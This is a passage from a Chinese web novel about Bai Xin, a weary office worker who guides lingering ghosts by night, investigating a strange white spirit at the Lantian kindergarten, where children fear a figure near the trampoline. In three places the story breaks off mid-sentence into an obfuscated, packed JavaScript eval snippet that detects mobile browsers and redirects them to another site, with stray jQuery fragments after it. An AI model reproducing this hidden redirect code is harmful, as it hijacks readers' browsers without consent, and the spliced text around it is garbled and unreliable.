白心一路向下,什么人都没遇到,路过二楼的时候她忽然想到左慈也是捉鬼的,现在估计也和她一样上班去了吧。 呵呵,白心站在楼下空地上,用意念把手环里的机车和头盔调出来,心想世界上最苦的牛马也不过如此了。 左慈一看就是家底丰厚,白天不给人类打工也没事的那种人,而她就不同了,不仅白天要给可恶的资本家打工帮助他们进行资本积累,晚上还得给地府这帮死鬼打工去收人间不肯回家的乱七八糟的鬼—— 命好苦。她突然有点理解她-99999天崩开局的功德了。 最惨的结局不是灰飞烟灭,而是像她现在这样备受折磨,连轴转打工,求生不得求死不能。 老天爷,算你狠! 一想到这白心就有点崩溃,一边爬上机车一边骂街。她最讨厌的就是和人接触了,所以找工作的时候她坚决不找销售,结果现在死了给她干上了——跟我走吧,我保证你下辈子能投个好胎——这跟销售有什么区别! 机车感应到白心的动作,像上次一样一秒扶正,稳稳地托着白心。 好听的低沉女声响起:“请选择您的目的地。” “蓝天幼儿园!”白心戴上头盔,大吼一声,刚才发的烧变成了她心中的一腔怒火,她倒要看看这个任务到底有多难。 等等,蓝天幼儿园。 她忽然想起李婧。李婧说上个月有个孩子被父亲的仇人所杀,会不会正好就是—— 还没来得及打开手环看任务,机车就飚了出去,白心猝不及防,立即像上次一样把身体伏低,稳稳地趴在机车上。 有了上次的经验,这次她明显熟练多了,白心微微起身,两只手紧紧攥着车把,看着车头上方的地图,代表着她的绿色箭头正以肉眼可见的速度极速逼近目的地。 安阳区蓝天幼儿园。 “喂,”白心朝手环喊道,“告诉我这一单的任务难度和功德点数。” 上次在楼下才看了一半就被遛狗的左慈打断,随后还遇到了邻居高姐,导致她完全没看清这一单任务的具体细节和功德数以及难度。 不过根据上次刘晓希那一单来看,应该也不会难到哪去吧?白心想,D级任务就是让她淋了点雨而已,只要不是S级那种毁天灭地的恶灵,应该大概也许可能也不会很难完成吧? 而且,白无常说过,系统是评估过的,认为她可以完成才派给她的,所以大概率安全。 手环立即回答:“好的主人,您的新一单任务难度评估为E级,功德数为3000点。” 白心:? 白色机车在道路上飞驰,白心的脑子也飞速转动,心想好家伙,这就给她上难度了。 才接完D级任务,就来了个E级任务,下一次是不是要给她S级了?白心看着前方模糊的街景,心说这还是个别人不要的E级,还不知道怎么难对付。 而且,还不确定会不会进化成S级。 白心的双手不自觉地攥紧了车把,心跳微微加速,她又朝手环问道:“任务目标是否已经进行认证?” 手环又回答道:“目标尚未认证。” 哦吼,白心心里一沉,这还是个没认证过的灵魂。没认证有两种情况,一是还没有引渡亡魂的人来过,二是来过,但是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852299|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没问出来。 3000的功德点是个鬼都要来尝尝咸淡,白心想,不可能没有人来过。任务能传到她这里,就说明别人不想或者无法完成,但是——又什么都没问出来? 上次刘晓希也是这样,除了名字和死因,来的人什么都问不出来。 白心咬紧嘴唇,心里隐隐有种不太妙的感觉。她可以用真心换刘晓希的真心,但不一定其他灵魂也愿意接受她这颗心。 不管了,先去再说!她打断自己的顾虑,3000功德点足够她接一个半刘晓希回去了,好不容易有这么大个单到她手里,除非被打死,不然她怎么也要拿到手! 一人一车在黑夜里穿梭,很快就抵达了目的地。 白心骑在车上,额头微微冒汗,看见前面五米是她昨天已经来过的她十分熟悉的地方——蓝天幼儿园。 大门右边是个很小的保安亭,里面的保安正在睡觉,左边是一颗巨大的香樟树,是她白天站过的地方。 虽然正值暑假,但学校内部有家属楼,很多学生家属还有部分教职工还住在里面,白天进出校园的人也不算少,所以保安还是要执勤。 但二十四小时都要值班确实有点超过了,白心皱着眉,想起昨天下午李婧的话。 ——上个月,有个孩子死于他杀。凶手潜伏在校园已久,趁人都走光时对小孩下了死手。 白心慢慢下车,稳稳站在了地上,她把头盔和机车都收进手环,眯着眼睛看着漆黑一片的学校。 看了一会儿,她终于朝前面走去,然而走了几步,忽然想起了什么似的拐了个弯,径直走向了保安亭。 白天和她大眼瞪小眼的保安大叔此刻睡得鼾声迭起,趴在桌子上呼噜打得震天响。 白心穿过保安亭的小门,静静站在了保安背后。 她弯下腰,轻轻把头凑近保安大叔的后脖颈,然后—— 狠狠地吹了口气。 保安被吹得一激灵,猛地直起身来大喊道:“谁!是谁!” 哈哈哈哈哈!白心看着惊慌失措的保安,不禁哈哈大笑,叫你白天瞪我! 保安左看右看,也没看见一个人,半晌,长长地舒了口气,伸了一个懒腰,终于打起精神来看监控。 好好值班吧你。白心转过身,穿过小门走了出去,边走边抬起手腕看了眼时间,零点三十五。 时间充足。她放下手,心想今晚可以跟这个鬼好好唠唠了。 走出保安亭,白心又顺利穿过了学校门口的伸缩大门,毫无阻碍地进入了校园。 升级了就是好哈,她想,不然还不知道怎么进去。 正对着大门的是一条约两百米长的跑道,白心沿着跑道一直往里走,尽头处就是蓝天幼儿园。 半夜的校园十分寂静,白心抬起头,看见右边水泥地篮球场漆黑一片,她又朝右前方看去,第三小学的教学楼也是漆黑一片,黑洞洞的窗户令人不寒而栗。 她走着,忽然觉得哪里不对。 太安静了。白心想,而且没有颜色。 不对—— E级灵魂没有颜色?白心感到一阵错愕,刘晓希是蓝色的,她所在的医院大楼也是蓝色的,而且还伴随着她的哭声。 这学校怎么没有颜色?白色蓝色红色,一种颜色都没有?难道是恶灵,不对,恶灵的黑色是流动的,而不是这种天黑般死气沉沉的。 不对劲。 白心跑了起来,在恐惧追上她之前抬起双腿奋力向前奔跑——要快点进入蓝天幼儿园。 35.沉默的幼儿园(二) 两百米长的跑道白心拼尽全力也跑了五十多秒。 她本就不擅长运动,更别说现在身为牛马历经沧桑,每天被职场揉圆搓扁极致摧残,本就体弱多病的身体更是直接加速衰老三十年,变成了一副稍微剧烈运动一下就会喘得不行的残喘老躯。 所以发烧感冒之类也是家常便饭。只要稍微累着磕着碰着,她的身体就会先比精神崩溃,直接摆烂告诉她要罢工了。 明天还是请个年假吧。白心边跑边想,虽然烧已经退了,但按照她多年的生病经验,如果一天下来工作量过大或者摄入的信息量太大,这烧又得卷土重来。 况且,辞职之前休年假,天经地义好伐?! 跑了半天终于跑到了尽头,白心捂着胸口,站在蓝天幼儿园大门口喘着气,心说怎么脱离肉身了还是这么累。 看来这体弱是她的灵魂种子自带的,跟她的肉身无关。白心看着面前黑漆漆的铁门,心想或许这就是天赋。 天赋人权,有的人天生拥有强健的体魄,有的人天生比别人反应速度快,而有的人像她一样,天生身体各项机能数值就比别人低一截。 肉身只是灵魂的载体,白心渐渐理解,某种程度上,身体只是你用来体验人间的一个工具。 但她的工具是否有点太难用了。 白心自嘲一笑,平复了呼吸,静静看着前方不到五米的只有两人宽的大门。 这就是蓝天幼儿园。 保安亭那边的大门是整个幼儿园包括了第三小学的正门,是很正规的那种常见的伸缩门,从正面向前看去看不见蓝天幼儿园。 因为幼儿园的大门在侧面。白心跑到了尽头,跑过了整个篮球场,才发现篮球场前面那一栋教学楼的左边一层有个很小很小的门。 倒也能理解。白心向前走去,慢慢穿过铁门,心想这幼儿园起码二三十年了,设施稍微陈旧落后一点也正常。 一般的幼儿园都有自己的大铁门,用一把大铁链锁拴着,朝两边完全打开的时候足以让一整个班级的孩子一起出门。但蓝天幼儿园的正门是一扇很窄很小的铁栏杆门,上面也没有很大的锁,只有一把小小的银锁。 这能防谁?白心回头看了一眼身后那把锁,心说开玩笑吧,来只狗随便咬几口都能咬开了。 下一秒,头顶响起一阵急促的警报声:“非法闯入!非法闯入!请立即离开!” 白心:? 什么东西?白心吓得心脏猛地一收缩,抬起头看见头顶的墙上有一个小小的红点——红外线检测仪? 这玩意儿能检测到她?! 警报声和她的手机闹铃似的越来越大,白心听得一阵心慌,赶紧向前跑了几步离开了检测范围,刚在院子里站好,幼儿园内部的广播里就响起了一个声音:“谁在里面!” 保安。白心根据声音判断,应该是大门口的保安大叔,她抬起头,看见一层教室外的墙角有几个摄像头,此刻正闪烁着绿光。 白心站在院子里,像自投罗网的犯罪嫌疑人,无处可躲,只能站着。 过了一会儿,警报声停了下来,保安也没有再说话,估计是没有在监控里看见什么。 白心捂着胸口,长长地松了口气——吓死她了。 还好人间的设备智能但没有太智能,只是能感应到她但无法实际捕捉到她。白心右手放在心脏的位置,往下顺了顺,还好还好,没有成为幼儿园闹鬼的罪魁祸首。 她做了几个深呼吸,终于回过神来,抬起头开始仔细打量这座幼儿园。 很小。 第一感觉就是很小,白心站在院子里,往上数了数,整个幼儿园也就三层。 她正对着的是一排教室,从左到右一共只有四扇门,也就是四个教室。在月光的倾照下,她看见每个教室都大门紧闭,外面的墙上刷满了花花绿绿的图案,有小花小草小动物,也有一些儿童健康标语。 那些图案白天看起来或许鲜活可爱,现在反而有点瘆人。白心站在草坪上,看见墙壁上画的一只小象,为了符合幼儿的审美,画得双眼突出、长鼻卷起、此刻正瞪着大眼睛咧着嘴朝她笑。 好诡异。白心抖了一下,不知道为什么,一进入这个幼儿园,她就觉得不对劲。 就像之前去李婧家做客激发了她的社恐属性一样,好像闯入了什么结界似的,现在白心竟然有一种进到了什么人的家里、打扰到了别人一样的感觉。 可是这里空无一人。 白心猛地回神,赶紧抬起手臂点开手环,点进接单大厅,点击她的新任务看了起来。 还不知道鬼具体长啥样。 她点开任务列表的黑框,画面卡了一下,从头开始播放。镜头一路往里,和她刚才的行动轨迹一样,从大门沿着跑道向里,穿过了幼儿园的铁门,然后一路向前——停在了一楼的一扇门前。 等等,白心反应过来,这是实时画面。也就是说,她现在看的,就是此刻正在发生的。 哎呀——白心身上不自觉起了一层鸡皮疙瘩,这什么沉浸式恐怖片。 然而她没有按暂停,还是硬着头皮继续往下看。好鬼做到底送鬼送到西、好的开端是成功的一半、世上无难事只怕有心鬼,白心一边默念心灵鸡汤一边看着屏幕,同时还歪着头看了一眼一楼,她数了数,画面里的是从左往右数第二扇门。 门外门里什么动静都没有。 镜头在门前停留了大概十来秒,白心看到门牌上的字:活动排练室。 镜头往里,白心看到了排练室的内部——什么都没有。 鬼呢? 不是拍鬼吗?白心看着镜头在空荡荡的教室扫了一圈,一只蚊子都没出现。下一秒她反应过来——这是不是那只鬼的死亡地点?就跟刘晓希的304病房一样,最先看到的是应该是亡魂的死亡地点。 但是…… 白心皱了皱眉,发现有点不对。 她看了一眼画面,又看了一眼前方不远处的活动排练室,对比几番,发现了一个巨大的问题—— 屏幕里的画面是有颜色的。 白心瞪大双眼,看见屏幕里是一片很淡很淡的、十分朦胧的、接近透明的浅白色。她又歪头往前面一看,以她现在的鬼眼,完全看不出这层薄薄的白色。 因为这层颜色和月光融在一起,很难分清到底是其本身的颜色还是月色,最主要的是它实在太浅了,浅到接近于无,如果不是强大的雷达拍摄系统,白心根本无法分辨出它的存在。 教室内部全封闭,窗帘是深色系,所有的窗户全部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857092|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被窗帘覆盖,只有一丝月光能够偷跑进去。白心看到整个黑暗的教室都被一层淡淡的浅白色光芒覆盖,像雾像云,又像即将消失的烟。 白心微张着嘴,感到震惊——一个E级的白色灵魂? 白心的思绪像程序运行到一半碰上了BUG般卡住了,她有点没办法理解现在的情况。 一个执念很深的白色灵魂? 执念越深,颜色越深,等级越高。白心暂停画面,强行运行她的大脑思考:既然是E级,就说明其执念非常深,已经到了偏执的地步,甚至距离S级灵魂也只有一步之遥,蓝色是悲伤,红色是愤怒,黑色是怨恨,白色呢?白色代表迷茫。 白心的大脑再一次卡住——一个很迷茫、但执念又很深的白色灵魂? 那到底是有执念还是没执念?她有点错乱,有执念就应该有颜色,没执念就应该和她一样没颜色—— 到底啥情况? 不管了,白心甩甩头,重新点开画面播放起来。程序员的任务就是修复BUG,让程序顺利运行下去,白心想,先找到这个BUG鬼在哪里再说。 月明星稀,白心的头顶是皎洁的明月,脚下是有点扎脚的人工草皮,她站在不大不小的院子里,四周是一些常见的幼儿园游乐设施。 她的右边是公共厕所,后面是滑滑梯和海洋球泳池,左边是一个巨大的蹦床。 白心盯着画面,看见镜头往外一拉,然后糊了。 白心:? 这是做甚?白心看着屏幕上的雪花点,赶紧朝手环问道:“喂,怎么看不见了?” 手环立即回答:“主人,当有新的灵魂进入时,我们的特殊雷达系统会失效哦,无法定位到原目标。” 哦,白心想起来了,是这样的,之前在医院试图找刘晓希的时候也失败了,就是因为她进入了。 “那能看之前的记录吗?”她又问道,不能看现在的,之前的总能看吧,不要告诉她这么高级的设备连回放都看不了。 “可以的主人,”手环又回答道,“请问您要看多久之前的呢?” 额…… 白心回想了一下早上骑着机车回家的时间,估摸出了一个大致时间点:“就看今早五点半的。” “好的主人。” 画面一黑,新的视频开始播放。镜头还是从大门开始一路往里,和她早上看的几乎一模一样。 只是整个画面看起来比她刚才看的亮了一些——毕竟是早上,太阳即将升起,白心也是因为这个原因才匆忙回家。 白心轻皱眉头,看着镜头拍到了刚才的活动排练室。天亮的缘故,教室里也亮堂了许多,这下是真的几乎看不见那层白色了。 镜头往外一拉,画面里活动排练室的门逐渐缩小,白心看着这熟悉的视角,又抬头看了一眼前方—— 就是她现在的视角。 镜头拉远,再拉远,拉到一定距离后定格停住了。白心皱着眉,看见现在屏幕里的画面几乎和她现在看见的景象完全重叠。 镜头微微一动,视角向左旋转,白心的头也跟着镜头向左转动。 她意念定住屏幕不随她的头转动,白心一边瞟着画面一边转过头看向左边—— 一张麻木的脸,正站在蹦床上看着她。 36.沉默的幼儿园(三) 蓝天幼儿园的小朋友们最近有很多困扰。 七月流火,临近暑假,小1班的李沐子小朋友放学回家,一只小手拿着草莓糖葫芦,另一只手被妈妈的大手牵着,边走边告诉妈妈她的同桌好爱哭哦。 很快就是要上中班的人了,是大朋友了,还动不动就哭得流鼻涕。 妈妈举着伞,低头看了一眼李沐子小朋友的小脑袋瓜,笑着说那你有没有哭呀。 李沐子啃了一口草莓,挺起胸膛骄傲地说我没有哦,我很勇敢的。 “勇敢”,是三岁的李沐子小朋友学会的第一个复杂词语,是妈妈教的。 妈妈又问:那你的同桌为什么哭呢? 李沐子又啃了一口草莓,长长地“嗯——”了一声,想了半天,才回答道:不知道,他就说他很害怕。 妈妈停下脚步,举着伞蹲了下来,从包里掏出一张纸巾,给李沐子擦掉嘴角的残渣,微笑着说道:那你要多多照顾他哦,勇敢的人是这个世界的大侠,是会保护别人的。 李沐子伸出舌头舔了舔嘴边的糖渣,也笑着回答妈妈:嗯!我是大侠! 然后又问:“照顾”,是什么意思? 妈妈拿过李沐子手上的糖葫芦签,和手里的纸巾包在一起,站起来丢进旁边的垃圾桶,转身重新牵起李沐子的手,边走边说:照顾就是像刚才我给你买糖葫芦、帮你擦脸一样,你的脸脏了我帮你擦掉,你同桌的脸脏了你也可以帮他擦掉呀。 妈妈知道,很多小朋友才上学不久,不适应环境是很正常的,包括李沐子,也是半个学期下来才逐渐适应。 李沐子用力点头:好的!我知道了妈妈! 于是第二天,李沐子从家里带了一大包纸巾到了教室,等同桌一哭就迅速抽出一张纸帮他擦脸。 三岁的钟文煜同学鼻涕刚流出来,就被李沐子以迅雷不及掩耳之势捏住鼻子擦掉了。 妈妈就是这么帮她擦鼻涕的,李沐子想,这算是“照顾”吧。 钟文煜瞪大眼睛,呆呆地看着李沐子,脸上还有刚哭过的红晕。他不明白,一向嫌弃他的李沐子怎么突然变了,竟然像妈妈一样给他擦鼻涕。 李沐子把纸巾丢进她专门装垃圾的小塑料袋,双手抱着胸,歪着头说道:你到底在哭什么呢? 钟文煜不知道怎么说,只是盯着李沐子看。看了一会儿,他忽然觉得李沐子像他家里人了,心里有种暖暖的熟悉的感觉,让他害怕的陌生环境里终于不再全部是陌生人。 李沐子,是他的第一个朋友。 他说:我看见了……怪的人。 李沐子见他终于不再哭,心想妈妈果然很棒哦,钟文煜竟然真的被她“照顾”一下就好了。 她把头歪向另一边,又问道:什么怪的人? “奇怪”这个词语对他们来说有点复杂,只能简单从动画片里的“妖怪”“怪物”提取一下,怪的人,就是他们没见过的、像妖怪的人。 钟文煜伸出手指李沐子斜后方颤颤巍巍一指,说话也有点哆嗦:她就在……那里。 说完他立刻偏过头,甚至自己都不敢看,指完后也立即收回了手指,两只手捂住了眼睛,生怕再次看到。 李沐子好奇地回过头,她的前桌和后桌也跟着李沐子往那边看,看了很久,什么都没看见。 她和钟文煜坐在整个教室的右前方,和教室前门很近,钟文煜指的地方是前门的墙角,而那里空无一人。 李沐子回过头,看见钟文煜捂着眼睛,身体还在颤抖,不像撒谎的样子。 不知道为什么,她也有点害怕了。李沐子没看过恐怖片,但是看过动画片,西游记里就有很多妖怪,平常人看不见,只有孙悟空的火眼金睛才能看出来。 虽然钟文煜跟孙悟空没有一根毛像,但是她觉得钟文煜也很“怪”。 钟文煜这样哭了快半个月了,其实之前他并没有这么爱哭的,只是不知道从哪一天起,钟文煜突然就会看着一个地方一抖,然后大哭特哭,鼻涕和眼泪一起流出来。 老师也下来问过,甚至抱着他说悄悄话,但是还是不知道为什么。 李沐子重新看向那个什么都没有的墙角,忽然也浑身一抖,觉得被什么东西盯上了。她两只小手握紧,攥成了拳头,告诉自己我是大侠,大侠是不会哭的! 还没等她哭,她的前桌和后桌就先哭了。两个小朋友被钟文煜影响,此刻哭得惊天动地,半个教室的人都朝她们看了过来。 隔壁办公室的肖悦老师刚从小1班下课出来,就听见又有孩子哭了。她听见哭声,扶着额头,深深叹了口气。 真是一帮活阎王。 最近不知道咋了,整个小1班都被一股奇怪的氛围笼罩,孩子们沉默的变得更沉默,爱哭的变得更爱哭,尤其是钟文煜,本来好好的,最近突然变了一个人似的动不动就哭。 肖悦深吸一口气,离开还没坐热的椅子,重新回到了教室。 她推开门,看见钟文煜捂着双眼,旁边的李沐子攥着拳头低着脑袋,前桌曹小花和后桌王子轩哭得鼻涕一把泪一把。 这是咋了?肖悦走了过去,站在最冷静的李沐子旁边,弯腰轻轻问道:沐子,告诉老师你们怎么了? 李沐子听见老师来了,像抓住了救星一样,抬起头看着老师猛咽口水,慢慢说道:钟文煜说,他看见教室里有怪人。 怪人?肖悦眉毛一皱,什么怪人?教室里进其他人了? 她抬起头来,四周环视了一圈,除了教室里的小孩子,就她一个大人在这里。 前门被推开,墙角被挡住,钟文煜终于敢把手放下来,有了李沐子的助力,他也终于向全场唯一的大人求助,伸出手朝前门一指:她刚刚就在那里,老师我没有说谎。 此话一出,又被前桌和后桌听到了,两个小朋友害怕得直尖叫,教室里其他的小朋友的恐惧以他俩为圆心开始扩散,哭声顿时高涨。 肖悦猛地回头,看见钟文煜指的地方是教室前门。她转过身走了过去,拉开门,墙角什么东西都没有。 回过头,半个班的孩子都在哭。 天老爷,带我走吧。肖悦两眼一闭,心说上辈子杀猪,这辈子教书,而杀得最狠的人才会来幼儿园教书。 纵然入职前的理论基础十分扎实、也做好了充分的心理准备,但当真的成为一名幼儿园老师,她才知道这项工作真的不是那么简单,不说简单,而是比她做了心理准备预计的难度还要难。 作为一个成年人,拥有的思维逻辑、生活经验、人际交往秘诀在这里统统无效。你不能用你的思路去预判孩子们的行踪,也不能用成人世界的逻辑去分析他们到底想干啥。 孩子是一粒种子,除了给它浇水施肥,偶尔修剪枝叶之外,其他动作基本没什么用。有的种子会迅速生根发芽一飞冲天,长成参天大树;有的种子按部就班,慢慢悠悠生长,成为一株普通植物;而有的种子你勤勤恳恳栽种了一辈子,它也不会发芽。 所以,不要试图去解决每一粒种子的问题。肖悦请教过前辈,遇到无厘头的棘手事情,最好的办法就是转移注意力。 屡试不爽。肖悦转过身,面带微笑,对着整个班级大声说道:孩子们,我们去玩吧! 果然,孩子们一听见去玩,顿时不哭了。刚刚哭得撕心裂肺的小孩们此刻都睁着亮晶晶的眼睛看着肖老师,肖老师大手一挥,率先跑了出去:谁第一个出来会有小红花哦! 李沐子是第二个冲出去的人。这位大侠一秒就把刚刚的害怕抛之脑后,跟着肖老师跑到了院子里的滑滑梯前,她站得笔直,挺起胸膛,笑着朝老师说道:是我的! 肖悦掏出身上随身带着的贴纸,撕下一朵小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16865943|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红花,弯下腰,贴在了李沐子的脑门上:是你的是你的,每次都是你的! 越来越多的孩子跑了出来,很快,二十五个孩子全部出来了。 他们站在阳光下,站在草坪上,一个个抬起小脑袋,虔诚地看着前面的肖老师。 肖老师双手叉腰,看着这些小不点,大声喊道:排队! 孩子们收到指令,慢慢开始往李沐子身后挪,钟文煜迅速跑到了李沐子身后,拉着她的衣角,说道:谢谢你。 嗯?李沐子回过头,看着比她矮一点的钟文煜突然跟她说谢谢,有点不明白:谢什么? 钟文煜左手牵着李沐子的衣角,右手指了指自己的鼻子。 谢谢你帮我擦鼻涕。 聪明的李沐子立马反应过来,小手潇洒一挥,转身不再看他:不客气,是妈妈教我的。 妈妈。钟文煜想起了妈妈,好想妈妈。 等孩子们集结完毕,肖悦带着他们开始了下午的活动。其实本来下午就是安排的户外活动,这几天基本都是阴天,正好让孩子们在户外放放风。 她抬起头,看见太阳已经躲到云层里去了。 接下来的两个小时,孩子们玩了老鹰捉小鸡、跳房子、滑滑梯等游戏,院子里的玩具基本被他们玩了个遍。 只是有一点奇怪。肖悦坐在一楼走廊下,一边喝茶一边看着在蹦床上玩得不亦乐乎的李沐子和下面看着李沐子玩耍的一动不动的钟文煜,心想,他为什么总是不玩蹦床? 钟文煜上小班也快一年了,之前都还挺好,不哭不闹很安静,最近一段时间不仅开始大哭大闹,而且带他出来的时候他总是说不去“那里”。 “那里”,指的就是院子里的蹦床。 蹦床很大,十几个孩子一起蹦都没问题,可以说是很多小孩的心头好。但是钟文煜不仅不喜欢,而且很排斥,连靠近一点都不行。 肖悦看着站在蹦床外的钟文煜,他眼巴巴地看着李沐子像个弹簧在上面蹦着,却不敢向前挪动一步,上前和她一起蹦。 算了。肖悦抬起手看了眼时间,快放学了。 而且,她也和钟文煜的家里人交流过,来接他的总是一个女孩,十八九岁的样子,自称是他的姐姐,听见钟文煜哭闹的事之后总是微微一笑,说不碍事。 肖悦站起来,把椅子和杯子都放进办公室,出来后对着孩子们喊道:放学啦! 于是孩子们又像一群小鸡叽叽喳喳摇摇摆摆地朝她跑过来,肖悦看着草坪上这群散养的小鸡,竟然发自内心地笑了一下,觉得他们不哭的时候还是挺可爱的。 玩了一下午,很多孩子都玩累了,精力消耗之后就好管多了。肖悦站在讲台上,随便交代了几句之后就让孩子们放学了。 来接钟文煜的依然是那个女孩,她和女孩交代了一下钟文煜今天的情况,女孩朝墙角和户外蹦床看了一下,又笑着说不碍事。 好吧。肖悦无奈一笑,既然家长说没事,那就行了。 等最后一个孩子被接走,教室恢复了难得的寂静。 这几天都是阴天,她抬起头看了一眼教室外,天上的云一半白一半灰,仿佛很快就要下雨。 肖悦转过身,面朝黑板,背靠讲桌,享受着这来之不易的安静。 下一秒,她鬼使神差般地朝右看了一眼。 那个墙角。 李沐子和钟文煜的话浮现在耳边,她看着两个孩子一齐指向的地方。 确实没人。 墙角什么东西都没放,空空如也,靠近黑板的墙壁上用颜料画了一些壁画,这个教室所有的画基本都出自她手。 小花小草小动物。肖悦看着墙角,突然感觉到眼睛一花。 她揉了揉眼睛,皱着眉看着她画的那只兔子,怎么看怎么不对劲。 那只兔子……好像动了一下? 37.沉默的幼儿园(四) 钟文煜在放暑假前一周被提前接走。 原因当然还是一样,哭,动不动就哭。他哭得越来越频繁,之前一天哭个一回两回差不多了,后来只要是坐在教室里就像马上要打屁股针了一样痛哭,任凭谁来哄都没用。 并且他的异常还传染给了其他小朋友。其他小朋友又传染给更多的小朋友,很快,这场哭声瘟疫传遍了整个本就不大的蓝天幼儿园。 老师们急得焦头烂额,一时之间所有的孩子都仿佛受惊的小动物一样应激,但是却找不到原因。 肖悦几乎是全天抱着钟文煜了。一会儿贴在他耳边和他说悄悄话,一会儿带他去院子里玩滑滑梯,一会儿给他折小星星千纸鹤,然而都于事无补。 钟文煜哭得毫无逻辑却又伤心欲绝,哪怕是好脾气的肖悦也没办法了,哄了几天之后挫败感十足,受到了上班以来职业生涯的最大打击。 从钟文煜破碎的只言片语中,她勉强听出来钟文煜是在害怕一个人。 钟文煜总是用手指着一个空无一人的地方说有人,等她过去查看的时候却什么都没有。 问他是什么人,小孩却受制于表达能力和语言系统,半天说不出个所以然,只说出了一个“小人”。 “小人”,在大人的世界里是“君子”的反义词,代表着品行卑劣、下作下流的人,但在小孩子简单的逻辑系统里,就是长得矮小的人。 小矮人?肖悦第一反应就是给孩子们讲的安徒生童话,是不是她故事讲得太生动了,导致小矮人的形象在钟文煜的脑袋里印象过深。 但那怎么可能呢。她抱着哭泣的钟文煜,看着他所指的地方,心想这不是童话世界。 蹦床。 钟文煜再一次指向院子里的蹦床,而那里空无一人。 肖悦皱着眉,转身把钟文煜交给办公室的李婧老师抱着,独自一人前去查看那个蹦床。 李婧老师接过钟文煜,抱着他转过身背对着门外。蹦床在钟文煜的视野里消失,他很快就不哭了。 没有了小孩的哭声,肖悦的大脑终于平静,脑海里那根若有似无地绷紧的弦此刻也显露了出来——莫名地,她竟然有点忐忑。 虽然所有人都认为钟文煜是在无理取闹,但她的直觉却告诉她这事没那么简单。 她走上蹦床的铁皮台阶,弯下腰慢慢钻进这个巨大的蹦床。 蹦床虽宽,但却很矮,她一米七八的身高根本站不起来。蹦床足以容纳十几个学龄前儿童,却无法接纳一个知识储备丰富的成年人。 肖悦跪坐在蹦床的软垫边缘,皱着眉看着面前空空如也的蹦床。 无法理解。她扫视了一圈又一圈,也无法理解钟文煜到底说的是什么。 蹦床的底部材料是黑色弹力布,拥有强大的韧性和弹力,小朋友们要先在外面脱鞋,然后走上楼梯,穿着袜子蹦。如果感到害怕,可以抓住外圈布绳做的网,从而不至于摔倒。 今天还是阴天,甚至有点冷,一阵凉风忽然吹了过来,钻进了肖悦的衣领,又一阵风吹过来,把她的刘海吹得向上飘了一下。 肖悦盯着蹦床,忽然觉得一阵毛骨悚然,狠狠打了个喷嚏。抬起头的一瞬间,她看见蹦床中间好像……向下窝了一下? 嗯?肖悦立即朝蹦床中间爬了过去,发现黑色的弹力布上面竟然有一个巴掌大小的坑。 她又赶紧朝周围看了一下,发现四周也有这样的坑。 再回头,中间那个坑却不见了。 肖悦:? 是弹力失效了吗?肖悦揉了揉眼睛,重新看向蹦床的中心,心想这蹦床半年前才购置过来,不该这么快坏啊。 她跪坐在蹦床的中间,整个身体压在蹦床上,弹力布被她成人的体重压出了一个坑,她盯着刚刚那个坑出现的地方,一动不动。 李婧抱着钟文煜从办公室出来,两人站在一楼的走廊处,静静地看着肖悦。 钟文煜看见肖老师之后呆了,竟然没哭,一会儿之后伸出手指颤巍巍地指着蹦床喊:老师…… 肖悦抬起头来,和李婧还有钟文煜目光相对,她笑了一下,伸出一只手对着小孩挥了挥。 钟文煜却嘴巴一撇,眼里迅速掉出两行金豆豆,哆嗦地说道:有人…… 有人?肖悦皱着眉,看着钟文煜又是一副即将要大哭的样子,赶紧问道:人在哪? 钟文煜的小手朝肖悦的上方一指,说道:头……头上。 肖悦的头皮一炸,虽然钟文煜说得毫无道理,但她竟然有点害怕。她慢慢抬起头来,朝着蹦床的顶部看去,整个人扭成了一个诡异的姿势。 她的视线逐渐聚焦到蹦床的顶端,顶端是一排排横竖排列的网状铁架子横梁,帮助支撑起整个蹦床。 看着看着,肖悦的目光忽然聚焦到一点,瞳孔骤然放大,整个人剧烈颤抖了一下。 在那些红色的铁皮之间,有一只鞋。 …… 那天之后,钟文煜被接了回去,肖悦老师也因为不明原因提前休假了。 此事发生在暑假前一周,所以并没有很多人在意,每个人的心思都在自己即将迎来的假期,没有人关心钟文煜为什么提前回家,以及一向勤恳的肖老师为什么突然休假。 只有两个人在意。其中一个是李沐子,一天之间她的同桌和老师都不见了,她小小的脑袋里不免充满大大的困惑,她准备好的假期礼物还没有分给他们呢。 第二个就是李婧。 那天肖悦从蹦床下来之后,整个人都有点浑浑噩噩的,李婧把怀里的小孩交给她的时候顺带还问了一句怎么了,得到的只有肖老师的沉默。 正好她的班里有小孩过来找她,于是她也没管这么多,直接回班级里了。 